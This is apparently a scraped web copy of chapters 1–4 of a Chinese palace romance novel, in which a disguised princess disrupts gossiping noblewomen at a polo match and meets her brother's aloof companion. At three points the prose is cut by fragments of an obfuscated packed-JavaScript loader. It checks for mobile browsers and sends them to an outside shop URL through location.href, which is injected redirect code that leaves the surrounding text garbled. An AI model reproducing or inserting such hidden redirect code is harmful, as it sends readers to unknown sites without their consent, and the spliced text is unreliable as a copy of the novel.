《帝姬为王》 1. 第 1 章 盛兴十九年,三月初春。 整个宣阳城都被一种肆意生长的嫩绿色笼罩着,一扫寒冬的阴霾。 眼下最是适合出行踏青的季节。 但要问今日哪里最是热闹,还要数宣阳城外往东二十里的马场。 马场隶属于皇家,原是建了供贵人们赛马打球的去处,只不过近数百载,年轻儿郎们对这些马上运动兴致缺缺,这处马场也逐渐荒废下来。 还是盛兴帝即位之后主张大兴骑射,马场才逐步翻新改建,多了些人气。 但也仅仅是聊胜于无,一年到头也办不了几次球赛。 不过今日,可不一般。 自前年盛兴帝下了诏书,太子之位落在中宫赵皇后所出的大皇子沈煦身上,朝堂上下那些关于立储一事蠢蠢欲动的小心思总算是歇了不少。 太子沈煦,容貌似母,长得是一副温润如玉翩翩公子的模样,平日里待人又温和,即便不看身世单单是论这个人,也足以让人侧目。 宣阳城中不少的官家小姐提起他的名号来,总是抿嘴娇笑,生出不少的眼底桃花来。 哪怕太子妃的人选早已定下也无法阻碍那些小心思,总归侧妃的位置还有空缺。 那些家世一般的姑娘,不敢肖想太子妃的名号,只能对侧妃之位虎视眈眈。 家世显赫的世家小姐们,看着沈煦的那张清风霁月的脸,也能在心里劝说自己有情饮水饱,哪怕是委身做妾,只要能得太子宠爱,也算不得什么。 是以,今日这特意为了太子生辰所办的马球会,竟是来的看客比上场的人还多。 马场分前后,后院是休憩修整的院子,因着平日里也无人来马场留宿,房间并不多,整个院子约莫只有整个马场的四分之一大小。 重点还是前边的赛马场。 马场周围用四方的帷帐搭了看台,最高台的归属于赵皇后,然后从东西两侧依次往下。 今日人多,稍有点来头的世家,能分得上一个单独的帐子供自家女眷休憩。 若是那些官位低又没有祖上荫蔽的,说不得还要打着“姑娘家关系好,凑在一起图个热闹”的借口几家人挤在一处。 沈悠然躲在帷帐后,百无聊赖地抚着折扇上挂的穗子,享受着微风拂面,一脸坦荡行着偷听之事。 “也不知太子殿下喜欢什么样的姑娘。” “听说永安街口那家丝绸铺子的老板娘有个在宫里当绣娘的妹妹,改日使些银子去打听打听。” “那你有消息了,记得跟我也说说,咱们好姐妹若是能一道进了东宫,以后也好相互照应着。 两道声音接替响起,亲亲热热互道了好几声好姐妹,娇笑着恨不得黏在一起。 倒是惹得帷帐里另一个姑娘的不满。 “几句商户之言,也不知道是真是假,竟也引得你们如此重视。”女子声音尖利,“要我说啊,有些上不得台面的东西,托的关系也上不得台面。” 笑闹声骤然停下,不用看,也能猜得到此时帐中的目光全都聚集在了这刚刚开口的女子身上。 似是很享受这样的目光,女子故意清了清嗓,顿了好一会儿,才用比刚刚稍柔和一点的语气再度开了口。 “我舅舅家的表哥,如今在护廷卫中任职,素日里就是和这样的皇室子弟们打交道。别说太子殿下的喜好了,就是太子平日下了学喜从哪条街走,都能说上一二。” 沈悠然听见帐中有了片刻的安静,随后就是走动的声音。 脚步有些急促,似是担心慢了,就错过了什么。 “哎呀王家妹妹,咱们十几年的姐妹情分,有好事你可不能忘了我呀。” “就是就是,说起来我爹爹和你爹爹,还有同窗之谊呢。” “还有我还有我,我母亲和你舅母见了面还互称一声表姐妹……” 那位“王家妹妹”轻啧了一声,似是不愿与她们这般亲热。 “哟,何姐姐,上个月你在翠祥楼和我抢那副珍珠头面的时候,怎么没想到咱们这十几年的姐妹情分呢?” 热热闹闹的攀亲场面被她这不留情的话戳破,对面的人想来有些尴尬,但还是硬着头皮给自己找补。 “妹妹你这是哪里的话,不过一副头面而已,怎能影响你我感情呢?许是那天我不知你也看上了那套头面,不然我定会买了送你的。不过好在现在知道了也不迟,等归家了,我便让身边丫鬟送到你府上。” 其余女眷听见她这般殷勤,也纷纷有所表示,什么丝绸铺子里新到的织金料子、从外邦传进来的稀奇香料,跟不要钱似的说要给姐妹们分享着用才有意思。 这还得了? 若是人人都这般,受了好处就要泄露太子行踪,那太子岂不是日日都处于危险之中? 本是为了躲人随意藏起来,谁料竟听见了这种事。 沈悠然眼珠子提溜转着,瞬间有了个主意,撩开帷帐就往里钻。 帐中的四位小姐本坐在一起商议闺中密事,突然不知从哪窜了个男子打扮的身影出来,稍愣了片刻就吓得抱在一起尖叫。 大盛国风开放,此处乃是大庭广众之下,未婚男女在同一帐中也不是什么惊世骇俗的大事。 可并不代表这些姑娘们能够坦然面对一个陌生男子。 即便这“男子”看起来身材瘦小,一副弱不禁风毫无威胁的样子。 率先回过神来的还是那位在护廷卫里有关系的王姑娘,她可是一门心思谋划着想要进东宫当太子侧妃的,可容不得自个儿名声受损,立马侧过身子捂住周围人的嘴。 “别叫了!万一再把其他人招来就不好了。” 姑娘们瞬间闭嘴,只抱成一团,一副如临大敌的模样。 王姑娘壮着胆子上前询问:“你、你是何人,竟敢、竟敢擅闯女眷休息的地方,我、你知道我是谁吗!” 沈悠然当然不知道,但现在也不急着知道。 “王姑娘!”她刻意压低声音,“我是受了你表哥的嘱托特意来寻你的。” 她挤眉弄眼,做出一副有大事告知,但不能在这种场合随意交谈的样子,说辞含糊,“是……是那位的消息。” 既知自己的姓,又了解自己拜托表哥的事,王姑娘不疑有他,直接将沈悠然当做了自己人,连这种看起来弱不禁风的体型为何能进护廷卫都不曾细想。 只见她眸光一亮,立马放开身边人的臂弯,不自觉地朝着沈悠然的方向多走了两步。 她外衫的袖口从桌面上拂过,一杯早已空了大半的白瓷茶盏顺着她的动作在桌上打了个转,然后摔落在地上,发出一阵清脆的声响。 但王姑娘此时已无暇顾及。 “当真是表哥让你来寻我的?可是有消息了?” 沈悠然紧接着后退,一脸谨慎地看了一眼其余三个女子,“自然,只不过这里不便交谈,还请姑娘随我来。” 在周围人艳羡的目光中,王姑娘硬生生掰开了身侧一位姑娘攥着她袖口的手指,无视那殷勤的暗示,走向了沈悠然。 她本以为自己就要得到太子殿下行踪的消息,已经在心里谋划着是不经意地偶遇还是装作没看见撞上去,却没曾想,这位表哥的同僚,只凑在她耳边囫囵嘀咕了两句。 还不等她听清到底说的是什么,就见对方似是避着男女之嫌,快速后退。 随后,这名“男子”只是双手抱拳朝她行了个礼,拔高了调子一脸严肃地盯着她道,“王姑娘,此等绝密消息,还请莫要四处宣扬,恐招来祸端!” 声音不大不小,刚好够帷帐里那些翘首以盼的官家小姐听见。 余光瞥见那些小姐们焦急的目光,沈悠然绷着脸没让自己笑出来,连忙朝着王姑娘作了个揖,道:“在下还有要事在身,既已完成好友嘱托,那就先行告退。” 说完,她就打算开溜。 与此同时,那位王姑娘开口叫住了她,“诶,你刚刚说得太快,我……” 她话没说完,但沈悠然已经不想听了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689081|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这个时候,不跑是傻子。 当然,就算是要跑,也不能跑得太远,不然可就看不到好戏了。 沈悠然躲在旁边的树下,小心翼翼支了个头出来。 她眼睁睁看着王姑娘嘴上嘀嘀咕咕的,像是在重复她刚刚说的话,头也跟着晃动着,似是十分不解的模样。 随后,三个穿着艳丽的姑娘将王姑娘团团围住,拽着她你一句我一句的问着。 王姑娘被吵得烦了,脑子里更是记不住沈悠然的话,吵嚷着要让那些人让开。 殊不知这样,落在别人眼里就成了出尔反尔,就成了吃独食。 几个人围在一起推搡着,互相扯头花,也不知是谁的脚后跟,踩到了垂在一旁的纱帐,你来我往之间,竟然直接将帐子扯塌了一个角。 这边的动静很快也引来了在旁边帐中替赵皇后传话的蔺朝暮的注意。 “何故如此吵闹?”她声音柔柔的,但说出来的话却容不得旁人忽视。 四女顿时收了手,可支支吾吾地也说不出个所以然来。 她们自是认识蔺朝暮的,总不能当着这位准太子妃的面说自己为了得到太子殿下的行踪大打出手吧。 四女咬定是女儿间的玩闹,蔺朝暮看着地上被打碎却无人去收拾的茶盏,怎能看不出她们脸上的表情是玩闹还是争执。 只不过她们不说,蔺朝暮也没有打破砂锅问到底,目光随意在四处扫了扫,在不远的地方发现了一个鬼祟的身影。 她当即就认出了是谁。 和蔺朝暮的视线相撞之后,沈悠然心里暗道不妙,可她这种还要顾忌不能暴露的人,动作哪能比得上正大光明来逮人的蔺朝暮快。 “帝姬,既来了,便去皇后娘娘帐中吧。” 沈悠然顿了顿,也不再挣扎,耷拉着脑袋垂头丧气地转过身来,“嫂嫂,待会儿你可要记得帮我说点好话。” 对方不可控制地脸色一红。 蔺朝暮是礼部尚书蔺才的女儿,蔺家平日里也是家风严谨尊礼守旧,即便沈悠然早在钦天监定好大婚日子后就开始以“嫂嫂”称呼了,但蔺朝暮依旧觉得尚未行礼,这个叫法于理不合。 但每次都被沈悠然以“真正的礼该是称呼一声皇嫂,我既叫的是嫂嫂,便是从的普通百姓的规矩,算不得违矩”为由糊弄过去。 日前沈悠然得了一场风寒,此时该在宫中修养,蔺朝暮本还想劝说两句,只是话还未说出口,就直接被这两个字羞得没话说了。 方才在外人面前还能端着,此时竟也开始结巴。 “快、快过去吧,今儿日头也不小,没得你才将将病愈,又晒了日头发昏。”她说。 沈悠然抬头看了看日头,抿着唇笑,“嫂嫂呀,这还不到立夏呢,哪里的日头会晒得人发昏呀?” “我看呀……”她顿了顿,故意往蔺朝暮身边靠,“是听到我喊嫂嫂,嫂嫂发昏了才是!” 蔺朝暮彻底拿她无法了,闭眼吸了口气,假装没听到她的话。 “皇后娘娘还在等你呢。” 沈悠然笑得乐不可支。 既然被发现了,她也不再缩手缩脚的,老老实实跟在蔺朝暮身后往最前方的帷帐走去。 一路上不乏对准太子妃身边那着墨绿色常服的瘦小男子感到好奇的人,但都被沈悠然一脸坦荡地看了回去。 就在沈悠然透过帷帐四周的薄纱看见赵皇后身影,准备扑上去先讨巧卖乖的时候,身后突然传来了熟悉的声音。 “昭懿!你怎么在这!” 语气听上去不太愉悦。 当然,都直呼她封号了,又能是什么好语气。 “哥哥……我……” 还未来得及说出口的话一瞬间堵在喉头,沈悠然看着站在沈照身后地那个男人,抿着唇思绪开始神游。 脑子里蓦地就出现了一个念头,恍惚间竟脱口而出—— “这是谁啊?” “看起来,好适合当面首。” 2. 第 2 章 沈悠然的脱口而出的话自然被沈煦听见了。 “皎……昭懿、你说什么呢!” 他语气略带急促,瞥了一眼身后的好友,但想到他的性子,倒是略放心了些。 严晟不是那种会在外面嚼舌根的人。 可再怎么信得过,这样大胆的话,也不该让外人听见。 沈悠然听着沈煦的话,撇了撇嘴,到底也是明白找外头哥哥也不好直接叫自己的小名,才按照惯例叫的封号。 但配上他的语气,还是让人觉得不爽。 “我说错什么了吗!是灵犀姑姑说的,面首的意思就是长得好看的人,我这难道不是在夸人吗!”沈悠然理直气壮。 沈煦望向询声走出帐篷的宫女打扮的女子,看见了对方尴尬的笑。 “太子殿下怎么来了?”她看着气鼓鼓的沈悠然,突然有些后悔自己从前说过的话,“是临安长公主……” 她话没说完,但沈煦已然明了。 她口中的临安长公主乃是先帝长女,沈煦和沈悠然按例得唤作皇姑姑。 先帝在时对她也是颇为宠爱,得了建州这么一个富庶的封地,如今年过四十,膝下也无子女,唯一的爱好就是……养面首。 自几年前临安长公主的驸马去世之后,这样的情况更甚,最为荒唐的时候,御史台弹劾的奏折一日接着一日就没停过。 沈悠然虽不参与朝堂之事,但也在母后的宫中听见过盛兴帝为此头疼,便好奇去问了皇后身边的掌事姑姑灵犀。 那时候沈悠然还是个小姑娘,这种事灵犀也不好直言,就随便寻了个说法糊弄她,称长得好看的人就称为面首。 但谁也没曾想过,当时射出来的箭,此刻正中膝盖。 沈煦摸了摸沈悠然的头,有点无奈,“别在外面瞎说,如今你伤寒刚好,竟敢偷偷溜过来?” 站在他身后一言不发的严晟抬起头,沈悠然猝不及防地和他打了个照面。 什么嘛,这么好看,确实适合当面首啊,她在心里小声嘟囔着。 这是沈悠然第一次见到严晟,虽然并未有人替她引荐过,但她还是猜到了他的身份。 她一直都知道哥哥有个视若至交的伴读,是严太傅的独子。 只是严晟不常入宫,更不曾踏足过后宫,沈悠然一直是只闻其名不见其人。 因为沈煦和严晟在外总是孟不离焦焦不离孟,也常常被人放在一起比较。 如果是沈煦的容貌是一阵春风,让人瞧了心中泛起涟漪,那严晟看起来就好似一支利箭,直勾勾地朝着心尖上戳,张牙舞爪地似是要让旁人将目光全都勾在他身上才肯罢休。 单论长相,沈悠然觉得严晟是更胜一筹的。 但自古婚假之事,并不全是靠着长得如何就能定的。 比起风光霁月般的太子殿下,冷脸冷心见了女子还往后撤的严晟就好似一堵墙,总是能让那些官家小姐们心中的小鹿一头撞死。 更何况,和他站在一起打的那可是太子,往后还会成为皇帝。 比起一个官家夫人来说,后宫妃嫔的位置怎么看都更让人心动。 不过这些对严晟的私下议论对于沈悠然来说根本不在意,她只是极其顺从自己内心地随口夸赞了两句。 比起严晟会因她的话如何,她现在更在意的是沈煦会不会来一番说教。 “嫂嫂!你看看哥哥!”她做了个鬼脸,然后转身去寻庇护。 蔺朝暮和太子的婚期定在四月初,礼部那边的人特意来嘱咐过,近期二人最好不要见面。 是以方才在看清来人之后,蔺朝暮便快步躲了帐中。 她不算迷信,但涉及沈煦的事,总归是按照规矩来比较好。 当然,也没忘了选个靠近门口的位置,即便看不见,听听声音总是好的。 也就跟慌忙之中想要逃走的沈悠然撞了个正着。 两道惊呼声响起,沈煦不作他想,也顾不得向自家母后通报,直接掀开帘子进去。 “朝暮——” 他本是打算一手揽住未婚妻子的腰,另一只手反过去准备拽住妹妹的手腕。 但指尖还没来得及触碰到沈悠然,就发现一袭青衣从面前闪过。 在这电光火石般的一刹结束之后,众人似乎都有些没回过神来。 从首座上急得起了身的皇后、还站在门口来不及反应的灵犀、被半揽着腰的蔺朝暮,一只手停在半空中的沈煦、被抢了先有些迷茫伸出手不知该扶谁的侍女。 以及靠在一起的沈悠然和严晟。 这是沈悠然如此近距离的接触一个异性,她忍不住抿了抿唇,脑子里竟听到了自己的声音。 这人…… 眼睫莫不是用浆糊格外又粘了几簇上去?怎么会这么长? 站的太近了,好像更能明显看出来自己有点矮了,晚上得回去多吃两块肉长长身体。 为什么他看起来皮肤这么好? 因为日前落了水,沈悠然近日里都被逼着喝了药不说,还有香辛料熬水驱寒,导致她最近似乎有些上火,额头上也冒出一个红疙瘩,她今日出来还特意遮住。 可他凭什么能看起来这么的……肤若凝脂。 沈悠然也说不上是为什么,大概是一时心中不忿,鬼迷心窍地伸手四指微曲着和大拇指指腹交叠在一起,朝着那人脸上突袭。 哦,是软的,应该是真的,不是画本子里的什么人皮面具,她迷迷糊糊地想着。 这般胆大妄为的动作换来的不止是旁人倒吸一口冷气,还有手臂上传来的阵阵痛感。 是严晟指尖正在用力。 他也是第一次……与一个女子有这么近的接触。 第一个反应过来的是皇后,或许是太过震惊,她刚一开口还忍不住咳嗽了两声,“昭懿,可还是头疼发晕?” 她尽力替沈悠然找补着,但沈悠然倒是坦荡。 “哦,抱歉,一时没忍住,就是嫉妒你比我好看,挺不高兴的。” 那一脸正气的模样,好像丝毫不觉得自己的所作所为有问题。 看她站稳了身子,严晟也立马放开了她的手臂,说话语气淡淡的听不出喜怒,“无妨。” 说罢,他也收回了自己的目光,转而看向了好友,“殿下近来的身手慢了许多。” 沈煦颇为不舍地放开了手,听到严晟的话,不自在地摸了摸鼻梁。 他最近……确实有些疏于练习了,一想到两个月之后就要大婚,即便再怎么稳重,似乎也控制不了浮躁的心。 这么被一点名,沈煦倒是忘了去疑惑这个向来不爱管闲事的好友怎么会出手替他扶住妹妹。 只顾着转移话题,好让蔺朝暮不去在意好友说他身手变慢这件事。 “对了母后,方才我在外头听说这边闹了起来,可是有谁故意捣乱?若是有人……” 沈煦的声音越来越小,皆是因为看见了蔺朝暮的目光落在了抿着唇似乎有些心虚的胞妹身上。 他这还怎么能不明白。 “可有伤着?”他先是将沈悠然从头至尾打量了一番,然后才无奈但已然习惯的模样,“这次又去招惹谁了?” 沈悠然不说话,眼睛提溜转着跑到蔺朝暮身后,“嫂嫂救我。” 沈悠然是个狡猾的,她惯是喜欢用这称呼来激起蔺朝暮心里的那点羞意和怜爱,三番两次地红着脸磕磕绊绊地维护。 “殿下放心,并未酿成大祸。” “帝、帝姬想必也是、也是因为在宫里养病养得太闷了,想出来转转……” 她三两句说了方才的情形,至于沈悠然为什么在这里,不用说也能猜得出——大抵不过是在宫中养病无趣,便悄悄溜到马场来了。 沈悠然急着为自己辩解,“我还不是为了哥哥和嫂嫂,才出此下策!” 赵皇后佯作嗔怪,看了沈悠然一眼,道:“你就知道挑软柿子捏,知道你嫂……” 就怪沈悠然整天像只学舌的鹦鹉一样在耳边叽叽喳喳地叫着“嫂嫂”,赵皇后也下意识地脱口而出。 但沈悠然可以说是年纪小,赵皇后身为一国之母,可还得在意礼制。 “朝暮是本宫请来做客的,可不是来帮你求情的!” “行了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈煦点点头,“儿臣已让人吩咐下去,只道东安伯次子乃是紧张过度引发的腹泻。” “儿臣还要去寻人来补上东安伯次子的位置,这就先告退了。” 他朝着赵皇后行了个礼,趁着双手挡住视线弯下腰的间隙,侧过头看了一眼蔺朝暮。 从一开始就一言不发的严晟站在门口,将沈煦的小动作看在眼里,颇为不解。 往日里那成熟稳重的好友,竟也会有如此……小孩子心性的时候。 正当他出神之际,一道墨绿色的影子从眼前蹿了过去。 说蹿是完全不为过的。 严晟幼时在后院的墙角边看见过一只小野猫,还未等他走近,就从院墙边蹿了出去。 跟现在的沈悠然一样。 “哥哥,你们缺人?看看我!看看我!” 她一手拽着沈煦的胳膊,另一只手伸出来在空中挥舞着抡了一下。 似乎想要通过自己抡出的圆有多大来让沈煦对她的能力感到信服。 但换来的只有沈煦的严厉拒绝。 “不行,你风寒刚好!怎可打马球!” 沈悠然不大乐意,撇着嘴开始无理取闹。 “我不管嘛哥哥,我就要去我就要去!” “我在床上躺得都快发霉了,若是再不让我伸展伸展,我才是真正要病了。” “求你了哥哥,我求你了!” 沈煦最是招架不住沈悠然这样。 “让她去吧,”赵皇后也是见不得沈悠然瘪嘴的模样,“不然她怕是能把本宫这帐子拆了,左右太医也说没什么大碍,让她多舒展舒展也算强身健体了。” 沈悠然讨好地说了一箩筐的漂亮话,谢天谢地,谢皇后谢太子,谢蔺朝暮谢灵犀。 严晟从进了帐子之后就没怎么说过话,但他一向话不多,也没人觉得奇怪。 但凡沈煦此时将目光分给这个好友一丝一毫,就能发现。 他的好友望着沈悠然得逞之后的狡黠一笑,神情若有所思。 3. 第 3 章 马球队有两支,每支各六人。 一支是由太子沈煦带队,而另一支,则归辅国大将军之孙谢为安。 谢家世代从军,一身傲气,是不会因为对手的身份就谄媚让步。 虽然跟谢为安并不熟,但沈煦喜欢这样的对手。 比赛还没正式开始,沈煦拉着沈悠然走到帷帐门前紧急恶补。 打马球上场前的准备不似女眷更衣,不过是在衣衫外套上护具。 沈悠然本就是着男装出行,自然也不用太多遮挡。 穿戴整齐后,她靠在柱子旁,看见对面帐子里的人头抵着头围成一团,似乎是在排兵布阵。 “看见对面穿绛紫长袍的男子了吗?那个就是谢为安,球技很是厉害,打法凶狠,待会儿你上场了注意避开他,莫要受伤。”沈煦开口道。 顺着他手指的方向,沈悠然只看见一颗束着发的头,因为只有一个背影,除了穿着之外也看不出什么来。 沈悠然只是有些不满自家哥哥言语里的赞赏之意。 她挥着手刀大言不惭,“怕什么!看我如何将他,斩于马下!” 说完,对面的谢为安似乎有感应一样,突然偏过头看了一眼。 沈悠然的手刀还没来得及收回,从她的视线看过去,刚好落在谢为安脖颈处。 这种背地里的小动作被抓包并没有让沈悠然发憷,反倒是大大方方地挥动着手,做出一个割喉的动作,挑衅似的挑了挑眉。 这还不算完。 沈悠然单手扯开发带,将自己一头青丝散了重新扎了个马尾。 比谢为安的看起来更高。 看起来就像是还没断奶但张牙舞爪的小野猫。 严晟一时没忍住,也没想过要去忍,勾着嘴角笑了笑。 恰好被耀武扬威完后转过头来的沈悠然看见。 骤然看见严晟笑,沈悠然有些愣神。 外人都说严晟平日里不爱笑,看起来就不好接触,想必是没见过他笑吧。 她下意识地看了眼自己哥哥,更加确信了还是严晟的脸更胜一筹。 “你笑什么?”沈悠然小声嘟囔,“看不起我?” 她捏紧了拳头,作威胁状:“你可给我好好打,若是输了我定不轻饶!” 严晟盯着她看了两眼,然后才是双手抱拳,像是领了什么要务一般行了个礼。 “是,昭懿帝姬。” 他的声音有些沉,像是在刻意压制着不想暴露情绪。 昭懿帝姬这四个字,沈悠然听得不算多。 亲近的长辈,譬如盛兴帝和赵皇后这种,通常是以小名相称;旁的皇室宗亲,多是直接叫她的封号;至于其他的人,直接唤她帝姬。 她还在赵皇后腹中的时候,盛兴帝就已经拟好了这个封号。 昭,意为光明。 懿,是为美好。 足以见得盛兴帝对这唯一的女儿的宠爱。 不仅如此,盛兴帝还觉得单单是“公主”二字,不足以彰显沈悠然的珍贵,特意给她拟了个“帝姬”的称号,意为整个大盛的公主。 在大盛的历史上,从古至今,绝无仅有。 是以,在听到严晟这般叫她的时候,沈悠然觉得耳尖微微犯痒。 光是听到,就忍不住去想象他用舌尖轻抵着,发出的声音牵扯着喉结发出细微的振动。 意识到自己竟在暗想一个陌生男人唇齿之间的动静,沈悠然有些羞恼,口中叫嚣着狠话来掩饰。 “敢输你就死定了。” 语气肆意,像只翘着尾巴站在墙头睥睨众人的猫。 严晟佯装着垂眸又看了两眼。 说完,她扭头就走,高马尾随之甩动,像是春日里最细嫩的柳条。 不知拂过了哪片湖面,又惹起了几朵涟漪。 沈煦并没有刻意说明沈悠然的身份,在外人看来,她还是那副瘦小男子的打扮。 队里的其他几人,对于这个不知道从哪跑出来的替补,都不大看好。 瘦、弱、还一脸女相。 别说打马球了,倒是还要人分神来担心他会不会被对面撞飞,怕是只会拖人后腿。 但他是太子带来的人,其余人不敢明面上反对,但却在暗地里和他拉开距离。 马球到了手上,也不会往沈悠然的方向传。 谢为安不愧出身于武将世家,一场普通的马球赛,竟也被他排出了个打仗的阵型出来,但凡是被谢为安队伍抢到的球,就好比是进了被铁水封死的桶里,只会打出去得分,没有还给沈煦队伍的理。 而沈煦这边的人,在球场上竟玩起了那套“阿谀奉承”的把戏来,即便沈煦的位置不好,也热衷于将球传给尊贵的太子殿下,以此来表示自己的衷心。 沈悠然气得牙痒,怀疑这些人根本就是对面派来的奸细。 挥着球杆又扑了个空之后,沈悠然只得眼睁睁地看着那本该传给自己的球却因为传球失误被对方截胡了。 赛场旁竖着的代表分数的旗子,对方已经多了三面,在风中飘扬着就像是在嘲讽。 沈悠然顿时觉得气不顺。 她毫不掩饰地嘴角下沉,板着一张脸盯住一个丢了球的矮胖男子,“草包。” 说罢,她拽着缰绳的手腕暗暗发力,操控着身下的马儿掉了个方向,径直朝着……对方的阵群中冲去。 她竟敢就这么直接冲进去抢球! “昭懿!”沈煦见状,也顾不得其他,拉着缰绳就要去护着沈悠然。 但无奈他和沈悠然的距离太远,根本来不及。 他只得将目光投向离得更近的好友,“阿晟!” 多年来的默契让严晟根本不需要过多的言语就能领会到沈煦的意思,当即拉着缰绳控制方向,跟着沈悠然的动作往前冲。 谢为安队里的人没想到这个看起来瘦小的男子突然袭来,竟也真的在愣神的功夫被他夺走了球。 “不用过来!”沈悠然阻止了严晟向前的动作,隐隐有些兴奋,“接好了!” 话音刚落,严晟就瞧见拳头大小的马球从人群中飞过,眼见着就要落在自己的马蹄之下。 他弓下身子,手腕一转挥动着手中的球杖,整套动作行云流水,二人配合默契得就好似已经训练过几百遍一样。 马球穿过铜环,候在一旁的宫人扛旗红色旗帜,立在属于沈煦队伍的一方。 沈悠然立马扬起个笑脸,喜怒皆形于色。 这套打法尝到了甜头之后,沈悠然又照着横冲直撞了几回。 她身形娇小有优势,再加上又蛮横敢冲,对方被打得措手不及。 对方也在疑惑这个突然蹿出来的矮个子到底是谁,且看着沈煦格外在意,不免也猜测起了对方的身份,手上动作就不自觉地有所收敛。 本就是临时组成的散兵,也不似正规军队那般训练有素,之前有人带领还好,现下被针对了几下就不止该如何是好了。 不知不觉间竟也让沈悠然把自己队伍带得反超一分。 沈悠然抽空看了眼用来计时的线香,发现快要燃到尽头。 只要拖到最后一刻,就能以一分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689083|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的微弱优势赢得胜利。 但沈悠然还是蠢蠢欲动。 沈煦只扫了一眼,就明白自己这个妹妹在打什么小主意,“够了,防守就行了。” 沈悠然撇撇嘴不肯听,纵马奔向谢为安。 马球现在在对方的手上,对方离得球门最近的就是谢为安,极有可能将球传给他。 她的双眼直勾勾地盯着对方实力最强的谢为安,手上的球杖时刻准备着去拦击。 谢为安原本的计划被打破,对方俨然一副反败为胜的得意模样,心里也莫名憋着火气,琢磨着要怎么戏耍一下这个小矮子。 球往自己这边传的瞬间,他余光瞥见沈悠然微微俯身准备拦球,伸出去的球杖立马拐了个弯,勾住沈悠然球杖之后转动着手腕将她拉扯住不放,暗中使力压制。 他这是宁可球也不要了,也要让沈悠然丢丢面子。 沈悠然灵活有余,但论力量,肯定比不过从小习武的谢为安。 “放肆!”她怒斥一声,“你不讲武德!” 谢为安才不跟她将什么五德六德的,马球本来就是各方面能力的考校,他又没有刻意撞人伤人,谈何违矩。 严晟见这二人缠斗在一起,驱马上前来到和沈悠然并排的位置。 随后,他想也没想地俯身伸手,球杖的弯曲部分勾着谢为安的杖柄往自己的方向一拉。 谢为安被拽的握紧了手中的缰绳,三人就这么莫名地僵持着。 沈悠然皱着眉,那两人看起来脸色如常,可她的手被压得发麻,心中有些不悦。 “你使点力啊!”她朝着严晟嗔道。 因为不舒服,她的语气听起来也带着一股娇蛮。 一听就能让人忍不住去猜,这位帝姬平日里是如何对人发号施令的。 这么明显的女性嗓音,让谢为安愣了愣神,一时不察手上泄了力,被沈悠然和严晟二人扯得一阵趔趄。 与此同时,一阵锣鼓声响彻整个马球场。 比赛结束了,太子沈煦的队伍以一分之差赢得比赛。 沈悠然将手中球杖一扔,拉着缰绳准备立场,一脸不虞。 虽然赢了,但她的手现在还有些麻。 在看向自己队伍里那个“草包”的时候,她更是来气。 那人见自己和太子一道赢了谢为安,心中也是大喜,恭维的话呼之欲出。 “太子殿下真是英明神……” “我英你个……” 沈悠然话说到一半,意识到他口中的太子是自己的亲哥,又换了个说法。 “再怎么英明神武的太子,也带不了你个草包。”她气鼓鼓。 “幸得今日只是一场马球,若是他日你二人在朝为官,想必也是个只会趋炎附势巴结上峰的货色!” 她这话本来就不客气,再加上太子还在看着,那人被羞恼缠身,指着沈悠然你你我我了半天,说不出个所以然来。 沈悠然还想再出言讥讽两句,被沈煦叫停了。 “好了,昭懿!我想杨兄也不是担心,才选择了小心行事。” 沈悠然撇撇嘴,她才不管什么羊兄牛兄的。 但到底还是没在外人面前,落了她亲哥这个太子的面子。 一腔的不忿正无处发,沈悠然四处张望着,看见了严晟。 他挺直了脊背,单手拽着缰绳,不疾不徐。 她蓦地觉得平静了许多,被谢为安压得发麻的手腕也好似没了痛感。 沈悠然的脑子里却控制不住地蹦出一个念头来。 美色误人。 4. 第 4 章 既是比赛,那必然是有彩头的。 因为参赛的有文有武,为避免偏向哪一方惹得彩头不讨人喜,赵皇后备了的是绕金祥云蚕丝穗。 蚕丝产自今年的第一批春天蚕,与帝后常服用的是同一种料子,和金线绕在一起制成祥云的样子,既能挂在佩剑、折扇上,也可以束在腰间。 因蚕丝轻盈,待到一阵清风拂过,那祥云好似在风中飘荡,衬得人也恰似云中君。 蚕丝金贵,这一批拢共也就制得十个。 除了彩头,剩下的四个,赵皇后做主给了如今皇室中的四个小辈。 东安伯次子用过药,现下已然止了泻,正哭丧着一张脸站在马场周围。 都怪自己不争气,竟紧张得上吐下泻,不然现在站在太子殿下身边受赏的肯定有自己…… 盯着严晟竟让自己羞了起来,沈悠然连忙欲盖弥彰地四处张望着,在旁边看着东安伯次子一会儿绷着个脸铁青的模样,一会儿又是气得通红,觉得自己好似在看蜀中的变脸剧,乐滋滋地站在旁边看了好一会儿。 等觉得无趣了,才将手中的穗子朝着东安伯次子的方向随意一扔。 她本就有,又见多了其他的贵重玩意儿,不会将这小小穗子放在心上。 “送你了。” 说完,她就头也不回地钻进了皇后帷帐中,只剩下一个高马尾摇晃着的背影。 严晟看了眼东安伯次子捏着绕金祥云穗一脸喜不自胜的样子,没有说话,径直走向一旁休整了。 虽然还不到炎热的夏季,但纵马放肆了一番,身上少不得出了汗沾了尘。 沈悠然自然是不能去其他人的帐中整理的。 